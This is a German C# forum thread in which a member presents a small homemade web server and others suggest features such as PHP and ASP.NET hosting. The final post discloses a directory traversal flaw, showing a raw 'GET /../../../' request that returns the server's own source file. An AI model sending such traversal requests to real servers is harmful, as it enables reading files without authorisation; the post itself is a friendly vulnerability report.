myCSharp.de - DIE C# und .NET Community
Willkommen auf myCSharp.de! Anmelden | kostenlos registrieren
 
 | Suche | FAQ

» Hauptmenü
myCSharp.de
» Startseite
» Forum
» FAQ
» Artikel
» C#-Snippets
» Jobbörse
» Suche
» Regeln
» Wie poste ich richtig?
» Forum-FAQ

Mitglieder
» Liste / Suche
» Wer ist wo online?

Ressourcen
» openbook: Visual C#
» openbook: OO
» Microsoft Docs

Team
» Kontakt
» Übersicht
» Wir über uns

» myCSharp.de Diskussionsforum
Du befindest Dich hier: Community-Index » Diskussionsforum » Gemeinschaft » Projekte » Kleiner Webserver
Letzter Beitrag | Erster ungelesener Beitrag Druckvorschau | Thema zu Favoriten hinzufügen

Antwort erstellen
Zum Ende der Seite springen  

Kleiner Webserver

 
Autor
Beitrag « Vorheriges Thema | Nächstes Thema »
pdelvo pdelvo ist männlich
myCSharp.de-Mitglied

avatar-3354.png


Dabei seit: 02.11.2008
Beiträge: 1.346
Entwicklungsumgebung: Visual Studio 2012 Prof.


pdelvo ist offline

Kleiner Webserver

Beitrag: beantworten | zitieren | editieren | melden/löschen       | Top

Hallo,
Ich möchte hier einen kleinen Webserver vorstellen.
Er stellt die Webseiten auf Port 80 bereit und ist über die Ip des Hosts verfügbar.
Vieleicht hat jemand noch Anregungen.

pdelvo


Dateianhang:
unknown Webserver.zip (13 KB, 532 mal heruntergeladen)
05.01.2009 14:43 E-Mail | Beiträge des Benutzers | zu Buddylist hinzufügen
pdelvo pdelvo ist männlich
myCSharp.de-Mitglied

avatar-3354.png


Dabei seit: 02.11.2008
Beiträge: 1.346
Entwicklungsumgebung: Visual Studio 2012 Prof.

Themenstarter Thema begonnen von pdelvo

pdelvo ist offline

Beitrag: beantworten | zitieren | editieren | melden/löschen       | Top

Hier ein Screenshoot :

pdelvo hat dieses Bild (verkleinerte Version) angehängt:
Unbenannt.jpg
Volle Bildgröße

05.01.2009 14:45 E-Mail | Beiträge des Benutzers | zu Buddylist hinzufügen
Milten
myCSharp.de-Mitglied

Dabei seit: 14.11.2008
Beiträge: 9


Milten ist offline Füge Milten Deiner Kontaktliste hinzu

Beitrag: beantworten | zitieren | editieren | melden/löschen       | Top

Danke dafür, du hast mich sehr inspiriert :)

Bugreport kommt morgen.
05.01.2009 22:31 E-Mail | Beiträge des Benutzers | zu Buddylist hinzufügen
Blogscreen Blogscreen ist männlich
myCSharp.de-Mitglied

avatar-2764.gif


Dabei seit: 26.09.2007
Beiträge: 344
Entwicklungsumgebung: VS 2003
Herkunft: Stuttgart


Blogscreen ist offline Füge Blogscreen Deiner Kontaktliste hinzu

Beitrag: beantworten | zitieren | editieren | melden/löschen       | Top

Hallo, wäre Klasse wenn man auch Bilder anschauen könnte
die sich im http Ordner befinden :-)


Schöne Grüße
20.01.2009 15:51 E-Mail | Beiträge des Benutzers | zu Buddylist hinzufügen
pdelvo pdelvo ist männlich
myCSharp.de-Mitglied

avatar-3354.png


Dabei seit: 02.11.2008
Beiträge: 1.346
Entwicklungsumgebung: Visual Studio 2012 Prof.

Themenstarter Thema begonnen von pdelvo

pdelvo ist offline

Beitrag: beantworten | zitieren | editieren | melden/löschen       | Top

Eigendlich geht das. Aber bei mir geht das jetzt überhaubt nicht mehr. Bei mir komm immer bei l.Bind(ipe); eine Exception mit dem Code 10013. Ich weiß auch nicht warum. verwundert Werde jetzt mal Googlen.

EDIT : Sehe gerade das die Version hier eine alte ist. Desswegen funktionieren auch die Bilder nicht da der falsche Mime.Type Versand wird. Ich werde wenn alles wieder funktioniert eine neue Version hochladen.

Gruß pdelvo

Dieser Beitrag wurde 1 mal editiert, zum letzten Mal von pdelvo am 20.01.2009 16:44.

20.01.2009 16:26 E-Mail | Beiträge des Benutzers | zu Buddylist hinzufügen
Blogscreen Blogscreen ist männlich
myCSharp.de-Mitglied

avatar-2764.gif


Dabei seit: 26.09.2007
Beiträge: 344
Entwicklungsumgebung: VS 2003
Herkunft: Stuttgart


Blogscreen ist offline Füge Blogscreen Deiner Kontaktliste hinzu

Beitrag: beantworten | zitieren | editieren | melden/löschen       | Top

Hallo, wollte mal fragen ob du weiter gekommen bist ^^

Grüße
22.01.2009 23:13 E-Mail | Beiträge des Benutzers | zu Buddylist hinzufügen
pdelvo pdelvo ist männlich
myCSharp.de-Mitglied

avatar-3354.png


Dabei seit: 02.11.2008
Beiträge: 1.346
Entwicklungsumgebung: Visual Studio 2012 Prof.

Themenstarter Thema begonnen von pdelvo

pdelvo ist offline

Beitrag: beantworten | zitieren | editieren | melden/löschen       | Top

Werde hier heute noch die Aktuellste Version hochladen.

Gruß pdelvo
23.01.2009 11:42 E-Mail | Beiträge des Benutzers | zu Buddylist hinzufügen
pdelvo pdelvo ist männlich
myCSharp.de-Mitglied

avatar-3354.png


Dabei seit: 02.11.2008
Beiträge: 1.346
Entwicklungsumgebung: Visual Studio 2012 Prof.

Themenstarter Thema begonnen von pdelvo

pdelvo ist offline

Beitrag: beantworten | zitieren | editieren | melden/löschen       | Top

Hier ist die neuste Version.Sie ist standartmässig auf Port 81 Eingestellt.

Gruß pdelvo


Dateianhang:
unknown Webserver.zip (53,12 KB, 465 mal heruntergeladen)
24.01.2009 19:39 E-Mail | Beiträge des Benutzers | zu Buddylist hinzufügen
marv100
myCSharp.de-Mitglied

Dabei seit: 26.09.2008
Beiträge: 227
Entwicklungsumgebung: VS2008, C#, ASP.NET


marv100 ist offline

Beitrag: beantworten | zitieren | editieren | melden/löschen       | Top

wie wäre es mit einer erweiterung mit datenbank und php oder noch besser asp.net 3.5???
habs gefühl, dass das zu viel arbeit sit oder?
20.02.2009 14:18 E-Mail | Beiträge des Benutzers | zu Buddylist hinzufügen
pdelvo pdelvo ist männlich
myCSharp.de-Mitglied

avatar-3354.png


Dabei seit: 02.11.2008
Beiträge: 1.346
Entwicklungsumgebung: Visual Studio 2012 Prof.

Themenstarter Thema begonnen von pdelvo

pdelvo ist offline

Beitrag: beantworten | zitieren | editieren | melden/löschen       | Top

Das ist schon richtig viel Arbeit. PHP hat sehr viele Funktionen. Die müsste ich alle nachbilden, oder gibt es irgendwo ne Lib dafür?
Ich weiß nicht wie ich Asp.Net nachbilden soll. Ich bin da kein Profi. Vieleicht weiß da jemand anderes weiter und kann mir einen Tip geben?

Gruß pdelvo
20.02.2009 14:22 E-Mail | Beiträge des Benutzers | zu Buddylist hinzufügen
Zony Zony ist männlich
myCSharp.de-Mitglied

avatar-2875.gif


Dabei seit: 07.02.2007
Beiträge: 76
Entwicklungsumgebung: Visual Studio 2010
Herkunft: NZ


Zony ist offline Füge Zony Deiner Kontaktliste hinzu

Beitrag: beantworten | zitieren | editieren | melden/löschen       | Top

PHP wird in andere Webserver wenn ich jetzt nicht komplett daneben liege auch nur eingebunden.
Die eigentlichen PHP Dateien kannst du dir hier runter laden:
 http://www.php.net/downloads.php

Dort gibt es auch den Quellcode.
20.02.2009 14:33 E-Mail | Beiträge des Benutzers | zu Buddylist hinzufügen
pdelvo pdelvo ist männlich
myCSharp.de-Mitglied

avatar-3354.png


Dabei seit: 02.11.2008
Beiträge: 1.346
Entwicklungsumgebung: Visual Studio 2012 Prof.

Themenstarter Thema begonnen von pdelvo

pdelvo ist offline

Beitrag: beantworten | zitieren | editieren | melden/löschen       | Top

Ich hab jetzt keinen Schimer wie ich das angehen muss. Außerdem bin ich im Moment voll ausgelastet. Das kommt erstmal auf der Liste ganz nach hinten.

Gruß pdelvo
20.02.2009 14:56 E-Mail | Beiträge des Benutzers | zu Buddylist hinzufügen
marco.b marco.b ist männlich
myCSharp.de-Mitglied

Dabei seit: 07.11.2006
Beiträge: 303
Entwicklungsumgebung: VS 2005 Pro / VS 2008 Pro


marco.b ist offline Füge marco.b Deiner Kontaktliste hinzu

Beitrag: beantworten | zitieren | editieren | melden/löschen       | Top

@pdelvo: Sorry, aber gehst du ernsthaft davon aus, dass Webserver Programmiersprachen implementieren? Wozu soll ich dann die ganze Toolchain noch brauchen? Und was wäre das für ein monolithisches System?
Am besten noch eingebundene Datenbankengines? Vielleicht solltest du dir mal die Theorie hinter der Technik ein wenig anschauen, würde wohl auch deinem Webserver zu Gute kommen.

Du musst im Prinzip einfach nur den PHP Interpreter über CGI einbinden. Das wäre zumindest ein erster Schritt.
20.02.2009 15:01 E-Mail | Beiträge des Benutzers | zu Buddylist hinzufügen
pdelvo pdelvo ist männlich
myCSharp.de-Mitglied

avatar-3354.png


Dabei seit: 02.11.2008
Beiträge: 1.346
Entwicklungsumgebung: Visual Studio 2012 Prof.

Themenstarter Thema begonnen von pdelvo

pdelvo ist offline

Beitrag: beantworten | zitieren | editieren | melden/löschen       | Top

Wie schon gesagt, ich bin im Moment mit einem anderem Projekt voll ausgelastet. Ich habe keine Zeit mir das jetzt genauer an zu sehen. Siehe Signatur.

Gruß pdelvo
20.02.2009 15:04 E-Mail | Beiträge des Benutzers | zu Buddylist hinzufügen
JAck30lena JAck30lena ist männlich
myCSharp.de-Team

avatar-2653.jpg


Dabei seit: 01.10.2006
Beiträge: 11.397
Entwicklungsumgebung: Visual Studio 05/08/10 Prof.


JAck30lena ist offline

Beitrag: beantworten | zitieren | editieren | melden/löschen       | Top

wenn er das alles einbinded, dann hat das ncihts mehr mit einem kleinen webserver zu tun.
20.02.2009 15:09 E-Mail | Beiträge des Benutzers | zu Buddylist hinzufügen
Khalid Khalid ist männlich
myCSharp.de-Poweruser/ Experte

avatar-2534.gif


Dabei seit: 19.07.2005
Beiträge: 3.507
Entwicklungsumgebung: Visual Studio 15/17
Herkunft: Hannover


Khalid ist offline

Beitrag: beantworten | zitieren | editieren | melden/löschen       | Top

ASP.NET zu hosten ist relativ einfach. Such mal nach "Cassini". Das Ding ist ein extrem kleiner WebServer der ASP.NET hostet. Dieser wird allerdings auch benutzt, wenn man unter VS 2008 Web WCF Dienste entwickelt (da heißt das Ding allerdings nicht Cassini). Der ASP.NET Host ist mit ein paar Zeilen Code hochgezogen.

PHP wird da wahrscheinlich schon etwas interessanter :)
20.02.2009 16:37 E-Mail | Beiträge des Benutzers | zu Buddylist hinzufügen
Andy1988 Andy1988 ist männlich
myCSharp.de-Mitglied

avatar-1647.gif


Dabei seit: 21.11.2004
Beiträge: 79
Entwicklungsumgebung: Visual Studio 2008
Herkunft: Aachen


Andy1988 ist offline Füge Andy1988 Deiner Kontaktliste hinzu

Beitrag: beantworten | zitieren | editieren | melden/löschen       | Top

Zitat von Khalid:
PHP wird da wahrscheinlich schon etwas interessanter :)

Wieso? Erster Schritt wäre den Parser auf der Kommandozeile aufzurufen, wenn die Dateiendung entsprechend ist, das Dokument da durchzujagen und den Output and den Client zu senden.

PHP kümmert sich ja nicht um die Webinhalte.
 http://de.wikipedia.org/wiki/Php#Allgemein <- Da sieht man das ganze Prozedere mit normalen CGI.
FastCGI wäre die nächste bessere Variante. Allerdings ist das auch massiv aufwändiger:  http://de.wikipedia.org/wiki/FastCGI

Was ich nur nicht weiß ist, wie PHP das mit eigenem HTTP-Header macht. Wahrscheinlich wird das nur vorne angehangen. Man bekommt als Client also den Standard-Header des Webservers, dann die, vom PHP-Script generierten Daten, bestehend aus Header und dann dem "Rest".

Interessanter wird es, wenn du zum Beispiel ISAPI implementierst. Da geht dann allerdings nicht mehr viel im Managed Bereich. Das Zeug ist unmanaged.
Oder du implementierst dir eine Pluginschnittstelle und schreibst dir eigene Module, die dir die ganzen Parser aufrufen.

Klein ist das allerdings dann nicht mehr ;)
21.02.2009 04:48 E-Mail | Beiträge des Benutzers | zu Buddylist hinzufügen
Khalid Khalid ist männlich
myCSharp.de-Poweruser/ Experte

avatar-2534.gif


Dabei seit: 19.07.2005
Beiträge: 3.507
Entwicklungsumgebung: Visual Studio 15/17
Herkunft: Hannover


Khalid ist offline

Beitrag: beantworten | zitieren | editieren | melden/löschen       | Top

Achso, wenn das so einfach geht...

Hab mich mit dem Thema noch nicht wirklich großartig auseinander gesetzt :). Hab mir halt nur mal den Cassini Sourcecode angesehen und war selber etwas erstaunt, wie einfach man ein ASP.NET Host hochziehen kann.
21.02.2009 08:38 E-Mail | Beiträge des Benutzers | zu Buddylist hinzufügen
herbivore
myCSharp.de-Poweruser/ Experte

avatar-2627.gif


Dabei seit: 11.01.2005
Beiträge: 49.479
Entwicklungsumgebung: csc/nmake (nothing is faster)
Herkunft: Berlin


herbivore ist offline

Beitrag: beantworten | zitieren | editieren | melden/löschen       | Top

Wenn ihr weitermacht, ist das zumindest kein kleiner Thread mehr. Aber ich denke, es ist auch alles gesagt. Projekte-Threads sollten im Interesse der potentiellen Verwender bitte immer möglichst kurz/knapp sein. Vielen Dank!
21.02.2009 08:54 E-Mail | Beiträge des Benutzers | zu Buddylist hinzufügen
Zwischen diesen beiden Beiträgen liegen mehr als 9 Monate.
markus111 markus111 ist männlich
myCSharp.de-Mitglied

avatar-3108.png


Dabei seit: 01.10.2008
Beiträge: 479
Entwicklungsumgebung: Visual Studio 2010 Pro
Herkunft: Henstedt-Ulzburg


markus111 ist offline

Beitrag: beantworten | zitieren | editieren | melden/löschen       | Top

Hallo pdelvo,

leider muss ich dir mitteilen, dass ich deinen Server mit den simpelsten Mitteln hacken konnte.

Hier der Ablauf, selber eingetippt mit Putty:

Code:
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
GET /../../../Program.cs HTTP/1.1
HTTP/1.1 200 OK
Date:04.12.2009 21:44:33
Server:MyCSharp.de Server
Content-Length: 480
Content-Type: application/octet-stream; charset=utf-8

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;

namespace Webserver
{
    class Program
    {
        static void Main(string[] args)
        {
            Console.WriteLine("MyCSharp.de Server \nPress Enter to Exit\n\n||||||||||||||||||||||||||||||||||||||\n\n");
            Server s = new Server();
            s.Ip = 81;
            s.Run();
            Console.ReadLine();
            s.Stop();
        }
    }
}

Schon hat der Client die Sourcen des Servers. So bekomme ich auch jede andere Datei auf meinem Rechner.
War nur mal eine Anregung, nichts schlimmes großes Grinsen

mfg.
markus111
04.12.2009 21:47 E-Mail | Beiträge des Benutzers | zu Buddylist hinzufügen
Baumstruktur | Brettstruktur       | Top 
myCSharp.de | Forum Der Startbeitrag ist älter als 11 Jahre.
Der letzte Beitrag ist älter als 10 Jahre.
Antwort erstellen


© Copyright 2003-2020 myCSharp.de-Team | Impressum | Datenschutz | Alle Rechte vorbehalten. | Dieses Portal verwendet zum korrekten Betrieb Cookies. 20.09.2020 09:11